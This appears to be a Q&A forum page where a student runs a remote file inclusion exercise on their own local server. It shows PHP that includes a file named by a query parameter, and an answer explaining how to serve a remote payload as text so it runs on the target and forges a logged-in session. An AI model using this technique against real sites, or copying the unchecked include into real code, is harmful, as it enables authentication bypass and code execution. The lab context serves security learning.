I'm trying to simulate a remote file inclusion attack on my local web server as part of a course I am taking. I got the idea of being able to "logging" in on a website I set up without really logging via the system, rather by just setting the appropriate session variables in a remote script and then including it in the code of my website. Now I got the script to be included and run on my website (I can echo strings etc.) but I cannot seem to set session variables using the remote script. Does anybody have any idea why?

Here is the code of the website so far:


<?php session_start(); ?>
<!DOCTYPE html>
<html lang="en">
  <meta charset="UTF-8">
  <?php require("php/imageupload.php"); ?>
  <p>Logged in as: <?php echo $_SESSION['username']; ?></p>


  $file = $_GET["file"];

hack.php (remote file):

  $_SESSION['username'] = "foo";
  echo "test";

When I request http://localhost/index.php?file= I get the following response:


Logged in as:

The included file is actually executed on your server, not on the vulnerable server when including it (which in this case is the same server, but it's still wrong behavior).

What is included is actually the result of the PHP execution ("test" in this case).

What you want is to return a file that actually contains the code. So you could either transform the hack.php file into hack.txt, or simply adjust the code to echo the desired payload:

echo '<?php
  $_SESSION[\'username\'] = "foo";
  echo "test";
  • @Your Common Sense Thanks for your edit suggestion. I didn't use it though, because it doesn't seem relevant to the question; as OP does get a response, allow_url_include is already on in their test case. Otherwise, it's important information though; without the setting, inclusion of remote files would indeed not work. – tim Oct 10 '18 at 9:45

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.